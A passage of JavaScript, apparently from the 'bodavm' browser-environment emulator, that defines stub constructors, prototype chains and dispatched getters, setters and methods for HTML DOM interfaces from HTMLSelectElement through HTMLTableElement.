bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "multiple", {configurable:true, enumerable:true, get:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_get", arguments)}, set:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "options", {configurable:true, enumerable:true, get:function options (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "options_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_get", arguments)}, set:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedOptions", {configurable:true, enumerable:true, get:function selectedOptions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedOptions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedIndex", {configurable:true, enumerable:true, get:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_get", arguments)}, set:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "namedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "setCustomValidity", arguments)}},'prototype'); - -// HTMLSlotElement对象 -bodavm.memory.globalobj['HTMLSlotElement'] = function HTMLSlotElement(){if (!(this instanceof HTMLSlotElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSlotElement'], "HTMLSlotElement"); -bodavm.memory.globalobj['HTMLSlotElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSlotElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assign", {configurable:true, enumerable:true, writable:true, value:function assign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assign", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedElements", {configurable:true, enumerable:true, writable:true, value:function assignedElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedNodes", {configurable:true, enumerable:true, writable:true, value:function assignedNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedNodes", arguments)}},'prototype'); - -// HTMLSourceElement对象 -bodavm.memory.globalobj['HTMLSourceElement'] = function HTMLSourceElement(){if (!(this instanceof HTMLSourceElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSourceElement'], "HTMLSourceElement"); -bodavm.memory.globalobj['HTMLSourceElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSourceElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSourceElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_set", arguments)}},'prototype'); - -// HTMLSpanElement对象 -bodavm.memory.globalobj['HTMLSpanElement'] = function HTMLSpanElement(){if (!(this instanceof HTMLSpanElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSpanElement'], "HTMLSpanElement"); -bodavm.memory.globalobj['HTMLSpanElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSpanElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; - -// HTMLStyleElement对象 -bodavm.memory.globalobj['HTMLStyleElement'] = function HTMLStyleElement(){if (!(this instanceof HTMLStyleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLStyleElement'], "HTMLStyleElement"); -bodavm.memory.globalobj['HTMLStyleElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLStyleElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "sheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLStyleElement', "blocking", {configurable:true, enumerable:true, get:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_get", arguments)}, set:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_set", arguments)}},'prototype'); - -// HTMLTableCaptionElement对象 -bodavm.memory.globalobj['HTMLTableCaptionElement'] = function HTMLTableCaptionElement(){if (!(this instanceof HTMLTableCaptionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCaptionElement'], "HTMLTableCaptionElement"); -bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableCaptionElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableCaptionElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype, "HTMLTableCaptionElement", "align_set", arguments)}},'prototype'); - -// HTMLTableCellElement对象 -bodavm.memory.globalobj['HTMLTableCellElement'] = function HTMLTableCellElement(){if (!(this instanceof HTMLTableCellElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCellElement'], "HTMLTableCellElement"); -bodavm.memory.globalobj['HTMLTableCellElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableCellElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "colSpan", {configurable:true, enumerable:true, get:function colSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_get", arguments)}, set:function colSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "rowSpan", {configurable:true, enumerable:true, get:function rowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_get", arguments)}, set:function rowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "headers", {configurable:true, enumerable:true, get:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_get", arguments)}, set:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "cellIndex", {configurable:true, enumerable:true, get:function cellIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "cellIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "axis", {configurable:true, enumerable:true, get:function axis (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_get", arguments)}, set:function axis (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "noWrap", {configurable:true, enumerable:true, get:function noWrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_get", arguments)}, set:function noWrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "abbr", {configurable:true, enumerable:true, get:function abbr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_get", arguments)}, set:function abbr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "scope", {configurable:true, enumerable:true, get:function scope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_get", arguments)}, set:function scope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_set", arguments)}},'prototype'); - -// HTMLTableColElement对象 -bodavm.memory.globalobj['HTMLTableColElement'] = function HTMLTableColElement(){if (!(this instanceof HTMLTableColElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableColElement'], "HTMLTableColElement"); -bodavm.memory.globalobj['HTMLTableColElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableColElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "span", {configurable:true, enumerable:true, get:function span (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_get", arguments)}, set:function span (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_set", arguments)}},'prototype'); - -// HTMLTableElement对象 -bodavm.memory.globalobj['HTMLTableElement'] = function HTMLTableElement(){if (!(this instanceof HTMLTableElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableElement'], "HTMLTableElement"); -bodavm.memory.globalobj['HTMLTableElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableElement', "caption", {configurable:true, enumerable:true, get:function caption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_get", arguments)}, set:function caption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "tHead", {configurable:true, enumerable:true, get:function tHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_get", arguments)}, set:function tHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "tFoot", {configurable:true, enumerable:true, get:function tFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_get", arguments)}, set:function tFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "tBodies", {configurable:true, enumerable:true, get:function tBodies (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tBodies_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rows_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "frame", {configurable:true, enumerable:true, get:function frame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_get", arguments)}, set:function frame (){return bodavm.toolsFunc.dispatch(this, 